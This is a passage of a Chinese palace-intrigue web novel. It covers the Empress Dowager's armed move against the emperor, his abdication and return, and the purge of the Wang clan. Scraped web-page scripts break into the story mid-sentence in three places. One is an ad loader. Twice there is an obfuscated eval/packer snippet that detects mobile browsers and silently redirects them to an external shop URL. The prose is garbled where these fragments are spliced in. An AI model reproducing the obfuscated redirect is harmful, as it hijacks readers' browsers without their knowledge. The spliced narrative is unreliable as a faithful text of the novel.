听说明帝和宸妃公然抗旨,王太后气得脸色煞白。同时她隐隐感觉到一种恐惧,有些东西已经脱离了她的掌控。朱弘辉再不是那个她手中的牵线木偶由得她任意拿捏。如今他公然和她撕破了表面维持的假象和平和,她竟然一时拿他没有任何办法。 她站起身心头惊惧,暗自强压着怒骂:“这些年我真是错看了他!竟然这般不孝不悌!” “太后!”一旁太后的亲信官员出列抱拳道,“臣下有个法子!” 此人也是王氏嫡系血脉,论起来是太后的后辈。她压着心头怒火:“说!” 亲信道:“圣上这般不孝不悌,太后不如明旨昭告天下,称因圣上而气得卧病不起,积聚各路言官上谏,再由咱们的人引着文武百官们同言官们一同前去路亲王府,跪请他同宸妃回宫!” 王太后看向王大伴,一甩长袖:“拟旨!” 明帝执意要立宸妃为后且公然抗旨的事情经王太后的懿旨明发之后,百官们都去了路亲王府门口跪地请明帝收回立后的旨意回宫。言官们更是一个个都换上了敛服,聚集到一起携手同去路亲王府誓要死谏,以求让圣上做个明君。 百官们跪了一天一夜,明帝闭门不出,更不对官员和言官们做任何回应。 如今已是仲夏,白日里日头高照。亲王府门口的广场原是校武场,光秃秃地没有一棵树。百官们就在烈日下顶着日头暴晒跪在滚烫的石板地上。这般硬挺了整整一日后,年岁高的工部尚书扛不住,身体晃了晃晕了过去,引来四周围的一片惊呼。 几人赶紧将晕倒的尚书抬到一旁的阴凉处,有好心的百姓送来水浇在他脸上。见他面色苍白双目紧闭,有言官神色悲戚地越众而出跪在王府前高喊:“圣上!下官今日豁出性命死谏!您切不可被女色迷了心智!天下人首尊一个孝道!您这般行事,如何为天下人做表率?!” “娘娘。”太后的亲信高官同王太后通风报信,“百官跪求了一天一夜,老尚书晕倒在了亲王府外,圣上仍是不为所动。” 王太后站起身,在大殿里低着头来回踱步半晌,突然下定了决心,对御前侍卫道:“曹正!” 曹正出列:“臣在!” 王太后神色冰冷:“你点一营人马,去路亲王府迎圣上回宫!” 74. 73 这个时节的傍晚河边凉风习习,京城的百姓们通常在忙碌了一天之后,会去河边消暑纳凉。然而这两日百官在路亲王府门前跪求圣上回宫,京城上空笼罩着一种难以形容的紧张气氛,百姓们嗅到了空气中危险的气息大都闭门不出,商户们也跟着歇了市,往日繁华的京城满大街空空荡荡,显得格外萧条荒凉。 有淘气的小孩想要出门去玩,奈何家里人不允许,只能趴在院门的门缝上偷偷打量外面的长街。然而没有看见小伙伴,却看见一队全副武装的士兵气势汹汹而来,散乱的脚步声和兵器的碰撞声仿佛撞击在人的心口,让人心惊胆颤。 还不等小孩多看,就被父母捂住嘴抱离了院门,转身回了房间将房门紧紧关闭。 这队士兵沉默着过了永兴门,随即兵分两路,一路奔着保国公府、一路奔着太师府而去,将其团团围住。 领头的上前砰砰拍着太师府的大门:“开门!” 门子从门缝里看见外面的情形,没有擅自把门打开,赶紧去回了顾仲堂:“老爷!外面来了好多兵!将咱们府给围上了!” 顾林颜闻言起身,点齐了家里的府卫,一队由原先的府卫首领带队守在前门,一队由安宁的侍卫首领刘金虎带队守在后门,另有三十人分作三队带着狗在整个府里巡逻,他自己则去了大门处应对:“来者何人?” “顾大人。”外面领头的首领听出了顾林颜的声音,“尔等进献妖女迷惑圣心,其心可诛!太后懿旨,令尔等进宫请罪!” 顾家的府卫历经战乱训练有素,面对这样的情形并不慌乱,各自井井有条的散开在自己的位置上。顾林颜回头看了一眼身后已排好阵型的弓箭队,冷笑一声:“恕难从命。” 外头的首领一声怒喝:“你们好大的胆子!竟然敢公然抗旨!” 顾林颜冷然道:“天子脚下,你等擅自在京城调兵围攻太师府,等同行叛!你们才是好大的胆子!” 那首领一窒,不欲再同顾林颜多争辩,退后两步:“你不开门,就别怪我不客气!” 太师府的府卫首领呸了一声:“上一个敢在咱们府门口作乱的人,如今坟头的草都三尺高了!有胆子你就动手试试!” 外面的首领一挥手,对着身后的手下下令:“上!” 和太师府门前的情形不同,另一队人马虽然将保国公府团团围住,却不敢轻易上前攻打。保国公府的府兵是真正尸山血海杀出来的猛将,虽然常驻在府内的人数不多,不到万不得已近卫军并不想与其硬碰。何况王氏的目的只是为了围困,捏着他们让中军投鼠忌器。 第三队人马去了路亲王府,前两路人马都是五城兵马司的人,这一路是真正的京城近卫,王太后手中的皇宫禁卫。 看着身穿黄色禁卫服饰的兵马将亲王府围了个水泄不通,原先跪在此地的百官和言官们纷纷变了脸色,互相搀扶着避到一旁。禁卫首领手握太后懿旨上前:“太后有旨!请圣上同宸妃回宫,即刻启程!” 亲王府内,谢瑶担惊受怕地看着窗外,凝神听着外面的情形。安宁一转身看见她脸上的神情,看了眼身旁的白蔻,白蔻端了茶水上前:“夫人,您用点茶。” 前一天夜里,几辆马车趁着夜色悄悄从亲王府的角门离府,将太师府、国公府连同首辅周大人家的女眷俱都接到了路亲王府。今日众人都在王府后院。周家带来了周之,顾家带来了施良,此刻正在给昏迷不醒的淑妃诊治。 谢瑶接了茶水,感激地看向安宁:“幸得宸妃娘娘将我等从府里接了出来。昨夜果真有人围府要带我可怜的姠儿走。” 淑妃肚子里的孩子是如今明帝唯一的血脉,王太后迫于无奈让周府在众目睽睽之下接走了人,又如何能真的放过?她还需要这个孩子做筏子,只有将这个孩子握在手里,她所作所为才能名正言顺。 淑妃如今在亲王府,王太后的打算落了空,就只能从明帝身上入手逼迫他,以孝道和为君之道压迫他回宫,继续做她手中的牵丝傀儡。 门帘轻响引得众人向那处看去。丫鬟打起帘子,顾珂柔进了房间。安宁迎过去:“姐姐。” 她用询问的眼神看着顾珂柔,她方才去看了淑妃周姠。顾珂柔微微摇了摇头,安宁顾虑周姠的母亲就在身旁,便没有多问,牵着她的手落座:“祖母和母亲可还好?” “她们都还好。”顾珂柔道,“祖母和国公夫人说眼下正乱着,她们便没有出来走动。” 府里众人知道百官跪请的事情,也知道现在王府被皇宫近卫团团围住。亲王府虽然有自己的府卫,但因为在京城内,府卫加起来也不过三百多人,无法与五城兵马司和皇宫禁卫的人相抗衡。 亲王府门口,禁卫首领手举懿旨再度大声宣旨:“太后懿旨在此!请圣上同宸妃回宫,即刻启程!” 日头高照,明晃晃地映在亲王府前的广场上。众人全副武装,首领更是穿着厚重的软甲。他举着懿旨站了小半个时辰,汗出如雨,身上的衣裳都被热汗闷透,让他憋得喘不过气来。依照太后的吩咐,他又等了两刻钟,方才第三次举起手中的懿旨:“太后有旨!请圣上同宸妃回宫!即刻启程!” 他第三次宣读完旨意,亲王府的大门终于开了。朱弘辉出现在门前,众人见了他纷纷下跪,口称圣上万安。 朱弘辉看着那跪着的禁卫首领:“你回宫告诉母后,一日不立宸妃为后,朕一日不回宫。” 此话一出,在场的百官哗然。有老臣膝行上前:“圣上!您怎可如此!您身为大宁之君,当以国事和天下苍生为重!” 又一老臣上前,怒斥:“太师府有妖妃宁妃在前,如今又进献宸妃在后!动摇国本其心可诛!顾氏族人祸国殃民,当诛九族!” “圣上!”有言官叩首道,“皇后为国母,理当慎之又慎!岂可如此儿戏?!” 路亲王领着自己的府兵走到了明帝身后,冷眼看着前方的禁卫首领:“怎么个意思?本王活了三朝!如今倒有人胆大包天,敢派兵来围本王的王府了?!” “臣不敢!”路亲王地位特殊,禁卫首领不敢多言,“是太后忧心圣上被奸人迷惑,请圣上回宫!” “王叔。”朱弘辉看着路亲王,“朕……” 他话音未落,前方传来马蹄声,一人还没到近前就从马上摔落,在众人的注视中踉跄着跑上前仓惶跪下:“圣上!有人派兵围了太师府!奴才潜出想要去国公府求救,发现国公府也被人围了个水泄不通!奴才冒死才到此处!求圣上做主!” 满场越发哗然。百官此刻已经意识到事情不对劲,彼此交换眼神议论纷纷。 朱弘辉看向禁卫首领,大热的天,后者浑身直冒冷汗,他硬着头皮回话:“此事臣不知分毫!” 正说着话,后头追着来报信此人的兵马哗啦啦也到了近前,众人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 纷纷下马上前,看清眼前的情景纷纷收回了手中武器下跪:“臣等参见圣上!圣上万安!” “圣上?你们眼里哪儿还有朕?!”朱弘辉冷哼,“你等公然在京城调兵,围攻太师府、国公府、亲王府,是要谋逆不成?!” 领头的首领咬咬牙:“回禀圣上!臣等奉太后懿旨捉拿妖女!” “荒谬!”朱弘辉怒极,伸手指着广场上的众人,他的手颤抖着,似是怒急攻心,一时间竟然说不出话来。黄大伴赶紧扶住了他:“圣上!您要仔细自个儿的身子!” 朱弘辉推开黄大伴,仰天大笑,笑着笑着看向一旁的路亲王:“王叔,朕只是想娶自己心爱的女子为妻,何罪之有?”他扭头视线一一扫过在场众人,一字一句地问,“是否朕只能立王氏女子为后,若非如此,就是不孝不悌?!” 百官不敢回答,叩首不起:“圣上!” “朕是个活人!有血有肉的活人!罢了。”朱弘辉心灰意冷地摆了摆手,“做了十八年的傀儡,这个皇帝,朕不想再做了。”他转过身向路亲王下跪,“侄儿不孝,不能承继父王大统,今日愿让出皇位,请王叔执政!” 此话一出石破天惊,在场百官叩首哭求:“不可!万万不可啊圣上!” “求圣上收回成命!” “有何不可?”朱弘辉开口,“先帝在时,先李太后便曾亲口道过,若先帝不德,王叔便可取而代之!先帝也曾有遗诏,主少欺国,王叔可登大典!是王叔志不在此,才有我的今日。如今我不堪大任,王叔缘何不能居之?!” 一番话说的众人哑口无言。群臣里王氏的族人颤抖着看着冷然立在那处的路亲王,知道事情已经远远超出了他们的预计。有人偷偷使了个眼神,便趁着众人不注意,悄悄溜了出去回宫报信。 朱弘辉再叩首:“请王叔登大典,主持国事!” 路亲王没有说话,阴鹜的眼神看向在场众人。下面的百官心中一惊,陆陆续续有人跟着朱弘辉叩首,三三两两的声音接连响起:“请路亲王登大典,主持国事!” “什么?!”王太后面色煞白,猛然站起身,“你再说一次!” 来报信的太监哆嗦着:“圣上……圣上在亲王府门前禅位,将皇位给了路亲王!” 王太后晃了晃,只觉得一阵猛烈的头晕,跌坐在椅子上。一旁的王大伴赶紧扶住她:“太后,太后……” 王太后摆了摆手,震惊得无以复加。 什么叫釜底抽薪,这便是了。 朱弘辉此举可谓两败俱伤,将彼此都推入了绝境。他从此不再是大宁的帝王,而路亲王成了新帝,她这个太后便成了先太后,太后是先李太后!先帝的生母!她无名无分无权,再无执政的可能。 大殿内太后的心腹们议论纷纷,这里诸人几乎都是王氏的族人。他们听了这个消息也察觉到了悬在头顶的那柄利剑。 “太后。”有人出列,“如今看来,圣上避在路亲王府,恐怕不是一时之计,是路亲王早有此心。” “太后。”另一人道,“路亲王公然携持天子谋逆,还请太后下达旨意,调集兵马相救圣上!” 众人纷纷出列:“请太后下旨!” 王太后知道事已至此,不可拖泥带水,当下有了决断,她拿出了玉玺和西京的虎符:“拟旨,路亲王大逆不道,挟持天子谋逆,传西京大营进京勤王平叛!” 75. 74 “报……”传令兵快马加急,手握旨意狂奔到路亲王府门前,对着此地正不知如何是好的五城兵马司人马和皇城禁卫大声宣读,“太后懿旨,路亲王挟天子谋逆,其心可诛!现令尔等捉拿首逆,勤王平叛!”传令兵收了懿旨对百官道,“太后口谕,百官若有追随亲王者,以谋逆罪同论!” 兵马司和禁卫纷纷领旨:“臣遵旨!” 眼看着府门前的这帮士兵纷纷举起了武器,路亲王冷哼一声:“你们想清楚了,今日你们胆敢挥刀相向,”他看向百官,“或倒戈一击,才是真正诛九族的重罪。想要争这个功名之前,先掂量掂量家里妻儿父母的脑袋!” 在此地跪请明帝回宫的百官纷纷变了脸色,此刻他们进也不是退也不是,生生地被困在了亲王府前的这一方广场上,夹在路亲王明帝和王太后之间。 兵马司的人和禁卫闻言也互相看着犹豫不决。明帝在此,他们亲眼看见听见他自愿禅位,太后的懿旨却道路亲王谋逆。遵旨容易,可举起了刀的代价是全家人的性命,这让许多非王氏宗亲的人马又慢慢放下了手里的兵器。 轰隆一声巨响从远处传来,所有人都一惊看向那个方向。只见黑烟腾起,风中隐隐传来喊杀声。有新的传令兵快马加鞭而来,飞一般下马上前报信:“启禀圣上!外部集结了人马来袭,如今已经攻破了西城门杀进来了!乱军直奔皇宫的方向,还请圣上定夺!” 百官顿时变了神色:“什么?!” 有王氏一族的官员猛然跳起:“有凌云州和中军拦着,外部怎么会突然攻进来?”他颤抖着双手,“是了是了!定是顾家!定是顾家勾连外部人马,放了他们直入京城!圣上!”他跪下看着明帝和路亲王哀嚎着,“顾家有妖妃在前,而今又同外部勾连在后,这是要亡我大宁啊圣上!” 路亲王大步上前猛地给了那个哀嚎的官员一脚,踹得他在地上滚了两滚。路亲王森然道:“国难当头!你等却还见缝插针只想着狗咬狗!你们这种阴险小人,才是真正的其心当诛!” 路亲王转身看向朱弘辉:“这里的事就交给你了。”他抽出了随身的配刀一声大喝,“尔等武将听令!随我上阵迎敌!” 方才还犹豫不绝的兵马司和禁军人马齐声回应,迅速集结完毕,连同亲王府的府军,在路亲王的带领下,向着皇宫的方向而去。 保国公府被围了半日也没有丝毫动静,如今随着城门处的巨响同样府门大开,府卫头领领着全副武装的人马出现在门前。首领看着外面的士兵哼了一声:“想要送死的,就上前来!” 他说罢握着手中长刀上前,有王氏族人急切想要立功,横刀上前:“你们敢!” 话音未落,府卫长刀挥起,那族人举刀去迎,他常年在京中做着三天打鱼两天晒网的巡卫,如何能同战场上下来的猛将相比?他举起的刀就像纸糊的一般,被府卫首领砍落,长刀径直砍入他的左肩颈鲜血喷溅,抽搐着倒地没了声息。 府卫首领一声爆喝:“王氏谋逆!弃暗投明者既往不咎!执迷不悟者株连九族!” 外面围府的士兵面面相觑。府卫首领提着尚在滴血的大刀大步上前,这一次没有人再拦他,下意识的分开给他留出一条道来。府卫首领大喝道:“想要建功立业的!跟着老子走!杀进皇宫勤王平叛!” 黑色的洪流攻破了京城的西门,径直涌向皇宫。 就在这道洪流中分出了一小股,直奔永兴门大街。 太师府门前双方尚在缠斗不休,突然加入了有生力量,胜利的天秤很快倾斜,府门外来袭的众人顷刻间被砍杀大半,余下的眼见不敌,纷纷缴械投降。 尘埃落定,援军带头的首领一言不发,只是向着门口的顾林颜抱拳行礼,便又领着众人匆匆赶向皇宫的方向。 王太后派去调西军大营的传令兵还没出京城就被截杀。懿旨和虎符落到了领兵来袭的摩诃手中。他骑在马上眺望着眼前巨龙一般盘落在石山上的皇宫群,看着巍峨的皇城大门。他的身后跟着黑压压数万人马,却令行禁止,静若一人。 一旁的副官上前,低声询问:“世子?” 摩诃转脸面无表情地下达命令:“进攻。” 副官举起了手中长戟,身后黑色的洪流分作数队涌向王宫。 慈宁宫里王太后睚眦欲裂,紧紧抓着王大伴的衣领厉声喝问:“你再说一遍?!” “娘娘!”王大伴哭丧着脸,“外部攻入了京,一路杀到了皇城。眼下禁卫不敌节节败退。眼看着内城就要失守了!娘娘,咱还是赶紧逃命去吧!” 留在宫里议事的都是王氏宗亲和太后嫡系,闻言无不大惊。有老者失神道:“凌云州有顾将军镇守固若金汤!外部人马如何能这般轻易突破入京?我等未曾听闻半点风声!” “只怕那姓顾的早就和外部王庭沆瀣一气!”另一人愤怒地往地上吐了口唾沫,“呸!这不要脸的叛国贼!” “娘娘!”王大伴急得跺脚,“如今还纠缠这些事情作甚?禁卫敌不过那些乱军,咱们还是赶紧逃命去吧!” 王氏族老也回过神来,不停地催促太后:“快走快走!先离了此地再从长计议!” 王太后惨然一笑,环视了一圈大殿内的众人,幽幽道:“走?能去哪里?”她叹息一声,渐渐平复了情绪,走到一旁的主座上落座,“想要逃命的,就赶紧从后面的密道走吧。如今快些回去打点,兴许还能给王氏留下点骨血。” 王大伴还想相劝:“太后!” 王太后摇了摇头:“去吧,你送他们去密道。也算哀家为王家尽的最后一点力。” 王大伴只得先领了大殿里的众人去后面的密道逃命。王太后一人坐在空荡荡的宫殿里,透过大敞的殿门看着外面的天空出神。 她在这宫里生活了将近三十年,从少女时懵懂入宫,她虽为后,先帝一心却在邓贵妃身上,她幽居深宫又没有子嗣傍身,一度被邓贵妃欺压得几乎丢了性命。也是从那时起她便下了决心,要让一切掌握在自己手中,不可做依附他人的浮萍。 她似乎做到了,又似乎没做到。 数十年的岁月,似乎都是一场镜花水月。 她还在春秋鼎盛时,明帝却已经长大,她不愿将权力放手,冲突就不可避免。 她听着外面的打杀声越来越近,最终一切归于平静。有人迈步进了大殿,是摩诃。 看见他太后脸上露出了一个笑容,那笑容越来越大,她忍不住哈哈大笑,笑着笑着她笑出了眼泪,好容易止住笑声,她戏谑地看着摩诃:“哀家放你回王庭,看来是走错了一步棋。” 摩诃进了大殿,并不言语。他的身后跟着一名全副武装的副官,站在殿门口一言不发。 “若不放你回王庭,只怕辉儿的这出戏还这么容易唱罢。”王太后慢慢道,“借着你的名义入京,顾氏事情做了,还不用担那份污名。”她看着外面井然有序的士兵,杀进皇宫后他们并没有在宫里烧杀掳掠,也没有伤害宫人,反而井然有序地在打扫战场维持宫里的秩序,同时搜捕余孽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“求我无用。”路亲王一甩手,“你留着这些话,去同辉儿说罢!若是他愿意网开一面,你王氏尚有一丝生路!” 路亲王领人杀去了皇宫,朱弘辉留在王府安顿百官。眼下外面混乱不堪,他便将门口的这些官员都迎进了王府暂时安顿。 安宁领着王府的一众女眷忙碌着给百官们准备吃食和消暑的药品,又派了人去替他们打探各自家里的消息,安抚众人的情绪。百官们暗地里打量着这个传说中的宸妃,见她虽然生得极美,然而并无妖娆之气,相反平和大气,待人接物给人如沐春风之感。都不由得在心里暗叹,也难怪明帝爱美人不爱江山。 众人正惴惴不安时,路亲王的副官赶回来传讯:“世子爷!王爷……王爷战败,被乱军虏入宫中去了!” 啪嚓一声脆响,老臣手中的瓷碗在地上摔了个粉碎。他抖着手:“这可如何是好……这可如何是好?!” 众人正惶然时,朱宵上前跪在朱弘辉面前道:“圣上!您先前禅位给我父王,乃是权益之计。如今大敌当前,大宁大厦将倾,还请圣上拨乱反正,主持国事!” 朱宵此言一出,在场众人纷纷下跪,齐声道:“还请圣上拨乱反正,主持国事!” 朱弘辉没有说话,视线慢慢扫过满院子的百官和言官。他的视线最后落到站在人群外,笑盈盈看着自己的安宁身上。 在她的注视中他站起了身,沉声道:“传朕旨意,传凌云州统帅顾林书,调中军大营进京平叛!” 76. 75 中军很快进京,以势如破竹之势平定了京里的混乱,捉拿了叛军首领摩诃,救出了路亲王。 平叛后,朱弘辉从王太后手中接过了传国玉玺,正式开始亲政。 此后不久,王氏家族在因谋逆被查时又牵出了贪墨。贪墨案牵连甚广,朝廷上王氏党羽几乎被株连殆尽。王氏家族除了太后全族上下所有人人头落地,菜市口行刑接连执行了三日,杀得人头滚滚,血腥味数月不散。 王太后退居深宫,没有为王氏族人求情。 前朝和后宫又恢复了平静。 慈宁宫还是那个慈宁宫,似乎什么都没变,又似乎一切都已改变。 已经是盛夏,天气炎热,即使到了晚上仍然暑气逼人。院子里蛐蛐不知藏在哪道缝隙中,唧唧地叫个不停。王太后穿着一身常服坐在院子里看着天上的银月。短短一月的时间,她似乎老了十岁。原本姿色犹存的面容透着一种由内而外的衰败,她的眼神也不再清明,如同七十岁老妪的眼神麻木而浑浊。 王大伴躬身到王太后身边轻声道:“太后,圣上来了。” 王太后转过了头,看着明帝迈过慈宁宫的殿门,稳步向她走来。 这还是一切尘埃落定后,母子两首次相见。 明帝在王太后身前不远处站定,躬身道:“儿臣拜见母后。” 王太后沉默着,定定地看着眼前的明帝。 明帝站直了身体,迎着王太后的注视。 不知不觉间,当日那个只到她膝头的小男孩,如今已经成长为一个器宇轩昂的男子。 王太后恍惚记得,那时她推开深宫的门,阳光照不进的大殿深处角落,一个小小的身影团在那里,怯生生地抬起头打量她。她向他伸出了手,他只略作迟疑就将小手放在了她的手中。那时他的手那么小那么软,他就像个棉花团子一样,没有任何危险和威胁。 就是这个事事顺从她的棉花团子,如今将她逼下了权力的王座,屠光了王氏族人。 她终究还是错了。 她说不清,是一开始选择他就错了,还是沉迷于权力错了。 明帝低下头,缓缓呼出一口气沉声道:“王叔的人在京城北郊查到一座大院,里头统共有美貌女子四十二人,其中三十七人怀有身孕,且都在两三月之间。” 王太后仿佛化作了一座木雕,丝毫不为明帝的话所动。 “这些女子怀孕的月份,都和淑妃差不多。王叔查下来,这些人怀的都是王氏那几个嫡系子的血脉。想来等到生产时,她们中某一位的孩儿会被送进宫,与淑妃的孩子交换,而淑妃则会难产而亡。”他看着王太后,“母后,你照顾抚育了朕十六年。这十几年来,朕在你的心里,始终便是一枚棋子,随时可以更换不成?” 王太后嘴唇动了动,终于说出了一句话:“最是无情帝王家。” 明帝冷然看着王太后:“无情的是人!” 夜风吹拂,吹得挂在廊下的风铃叮叮当当地作响。热风中带着潮湿的腥气,要下雨了。 “那些女子,朕没有赶尽杀绝。”片刻后明帝开了口,“其中两人朕令人将其远远送走,安插在坊市里生活。她们肚里的孩子不知是男是女,但总归生下来,也是留给王氏的最后一点骨血。” 王太后闻言,眼睛里终于有了一点神采,翕动着嘴唇抬头看着明帝。给王氏留一点骨血是她最大的愿望。她身为太后,谋逆一案在明帝和路亲王的回护下没有牵扯到她,但她的族人皆亡,她已没有任何求生的意志,只打算幽居深宫了却残生。 却不想明帝网开一面。 她沙哑着声音问他:“为何?” “若没有母后,便没有今日的朕。”明帝缓缓道,“若没有母后这十数年呕心沥血,也没有今日的大宁。” 轰隆一声巨响,雷声滚滚。顷刻间大雨倾盆而至,雨水连成了白线,空气中充斥着潮湿的腥气。 安宁坐在房间里,透过琉璃窗见明帝越过前院而来。虽然有宫人撑着伞,雨水依旧打湿了他身上的龙袍,也濡湿了他的鞋子。 安宁赶紧迎了出去,他一踏上回廊,就紧紧牵住了她的手。 他的神情看着有些奇怪,眉目间有极深的不愉和隐忍,还有一些更为复杂的东西。这些东西交错在一起,像是一团杂乱的黑线团做一团充斥在他的思绪和感情里。 他一进屋就将她拥入怀中,埋首在她肩头。 原本要跟进来的黄大伴和白薇见状脚下一顿,黄大伴慌忙转身拦住后面众人,白薇则识趣地上前,轻轻闭上了房门。 他紧紧抱着她一动不动。外面雨声哗哗,他疲惫至极,大半个身体的重量都压在她身上,从这个拥抱中缓缓汲取着力量。 她轻声开口问他:“怎么了?” 他没有回答,闭着眼睛,疲惫至极。 过了许久他才在她耳边轻轻开口:“孤家寡人。”他落寞地道,“成为了皇帝,就成为了一个孤家寡人。” 她抬起手回抱住他:“你不是孤家寡人,你还有我。” 烛火将两人的身影投在墙壁上,无论外面如何风吹雨打,只要他们彼此依偎在一起,就无所畏惧。 天亮了。一夜风雨过后,天色放了晴。被雨水洗涤后的天空格外清透,院子里的花草枝叶上还残留有零星的雨滴,阳光下折射着五彩的光,仿佛透明的珍珠。 安宁睁开眼,看见晨曦从窗户里透进来,院子里隐隐传来鸟雀的清啼声。她觉着身子沉重,视线下移,他的胳膊占有欲极强的横在她的胸前,将她禁锢在自己怀中。 她看着他的脸,眼神闪动有些羞赧。这一个多月来他忙着前朝的事情,直到昨夜才留宿毓德宫。 他不是第一次留在她身旁过夜,但是这一次截然不同。 她微微动了动想要从他的怀里挣脱,他没有睁眼,却更加用力地把她往自己怀里揽了揽,鼻音浓重地开口:“醒了?” “嗯。” 他缓缓睁开了眼睛,低头吻了吻她的额头。 这个吻蜻蜓点水般擦过她的额头,却比昨夜的占有和索取有更深的羁绊。这般晨起两人毫无阻隔地相拥醒来,彼此感受对方的体温、心跳、呼吸。哪怕是最简单的动作,也充斥着一种沉甸甸的幸福和安稳。 “四叔。”她对他道,“把她们接回宫吧。” 慧贵妃因受王家牵连已经丢了性命。淑妃怀有身孕且昏迷不醒。还有侍寝过的白才人,若是不接她回宫,她最好的结局也就是青灯古佛了此残生。 他清醒了许多,睁眼看着她:“当时遣散后宫虽然是为了将淑妃救出,但事已至此,我不想再让宫里有那么多人。” 他缓缓叹出一口长气,“我生母原本是个身份低微的宫女,因父皇醉酒被临幸。就那么一次侥幸得了我,此后她短暂的一生都在等待中度过。一直到死,也未能再见父皇一面。宫里的这些女子,多是蹉跎青春,一日一日的数着日子熬着。我的时间精力都有限,心中又只得你一人,何苦再去让旁人白白消耗一生?” 安宁低声道:“那周姐姐……” “周之的意思,淑妃恐怕难以清醒。与其将她接回宫幽居着,不如让她留在周府,还能同家人多相处。她有名分有身孕无人敢亏待,周家又是明事理的人家,她在家比在宫里好。”他道,“待他日她生产,再把孩子接回宫抚育。” 他原本的后宫一共临幸过的只有三人,他顿了顿:“白才人,若她愿意改嫁,朕会给她寻门好亲事,若她不愿,隋明寺后山太妃旁的宅子不错,就让她隐居那处吧。” 她听他说得坚决,似乎早已再三思虑她们的去留。她瞪大了眼睛看着他:“那你日后不再选秀?不纳新人?” “我少时经历的苦难还不够多么?”他反问她,“何苦让我的孩子生母有高低之别,身份有嫡庶之分,彼此为了权益和自家的势力互相算计手足相残?”他叹息一声看着房顶,“母后昨日说,最是无情帝王家。可无情的从来都是人。” 她靠着他的胸膛,觉得安心又温暖。她从未想过一生一世一双人,更何况他是一国之君。可如今他却告诉她,今生今世,他们便只有彼此了。 半年后淑妃诞下一女,她自己因长期昏迷身体衰弱,没能挺过生产这一关撒手人寰。明帝晋她为贵妃,葬在了京郊妃陵。 淑妃之女被接回宫取名瑾怡,记在已封后的安宁名下为长公主。 顾珂柔指婚路亲王府,嫁给真正的朱思为正妻。兜兜转转,顾珂柔仍是成了路亲王府的人。 原宫中嫔妃各自由家中父母做主陆续婚嫁。 在顾林书和中军的支持下,摩诃成功游说外部各族,少布不敌,摩诃成为了金帐王庭的新王。 王太后迁出皇宫,去了隋明寺后山居住。 时间如白驹过隙,转眼间又过去了五年。 安宁迁去了坤宁宫居住。趁着天气暖和的时候,明帝命人在花园里挖了好大一个鱼池,养了不少睡莲和锦鲤在其中。安宁十分喜欢毓德宫的西府海棠,明帝便又命人在院子里移栽了几株海棠树,到了花期满树繁花似锦。风吹过,海棠树轻轻晃动,鱼池的水面波光粼粼,让人心旷神怡。 这几年安宁得了一胎,也是个女儿,比淑妃的瑾怡小将近两岁。两个公主脾气性格十分相投,每日里玩在一块,仿若双生子一般。 此后她便再没有了动静。 或许正因如此,前朝后宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941283|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蠢蠢欲动。皇后无子,圣上又只得她一人,国本不稳。大臣们接连上书请求圣上重启选秀扩充后宫,就连宫中许多宫女也变得不再安分。 安宁站在鱼池旁,手里拿着红瓷的罐子喂食,两个小公主就在不远处追逐嬉戏。她顺手将装有鱼食的罐子递给一旁的宫女,却不想那瓷罐从宫女手中滑落,落在地上摔了个粉碎。 安宁扭头向她看去,那宫女不顾满地碎瓷跪了下去,浑身抖如糠筛,颤抖着声音道:“皇后娘娘饶命!皇后娘娘饶命!” 安宁饶有兴味地看着她,她还未开口,她已是这般模样。若是落在不知情的人眼里,还不知会如何作想她虐待下人。她抬眸张望,果然见明帝正从不远处的假山甬道里拐过来。这时间算计得可真是刚刚好。 朱弘辉已经看见了这处的一幕。那宫女仍在求饶:“娘娘,奴婢错了,求皇后娘娘饶命!” 感受到明黄的身影在身旁站定,那宫女叩首不起不再言语。只是恰到好处地向着明帝露出她姣好的侧颜、白皙优美的脖子和柔软的身段。 难怪她今日一早看见这宫女就觉得她和旁人有些不同。安宁恍然大悟,旁的宫女穿的都是粉上蓝下的制式宫衣,唯有她,在粉上的衣服领口上镶了一圈蓝下同色的缎带,如今这般跪着领口微敞,恰好露出内里的风光,让站在一旁居高临下的明帝一览无遗。 安宁似笑非笑地看着明帝。 朱弘辉眉头微蹙:“犯了什么错?” 那宫女听明帝开了口,心中一喜,挪了挪身子朝着明帝叩首,楚楚可怜:“回禀圣上,奴婢方才不小心打碎了娘娘的鱼食罐子。” 这话说的,三分真,七分空,加上方才她着意的恐惧,引着旁人去猜测就为这么一点小事她会如何被苛责,等着明帝天神降世为她做主。 “这么点小事都做不好?不配在娘娘跟前儿伺候。”明帝斥责,“内务府干什么吃的?什么人都往坤宁宫送?!” 黄大伴躬身上前:“圣上息怒。奴才这就把她带下去,换些机灵伶俐的人上来。” 那宫女脸色一白,抬头看向明帝,还想说什么却被身后上来押住她的太监们捂住了嘴。眼前的明帝一丝眼风都没有看她,全部注意力都在安宁身上。他牵着她的手走向一旁:“地上都是碎瓷,你仔细些,不要扎了脚。” 宫女被拖出了坤宁宫,最后看见的便是帝后相携的身影。 安宁轻叹一声:“你若再不选秀,日后这样的事情只怕会越来越多。” 朱弘辉笑了笑:“他们在乎的是国本不稳么?他们看见的是朕还没有皇儿,这是他们掠夺权势的机会。”他伸手轻轻抚在安宁的肚子上,柔声开口,“施良不是说了,这一胎是男胎?待你生下嫡子,这些自然便会平息。” 安宁撇了撇嘴,有些不开心:“若施太医说的不准,这一胎还是公主又该如何?” “公主我也喜欢。”朱弘辉安慰,“这一胎不是,下一胎再生。左右我们还年轻……” 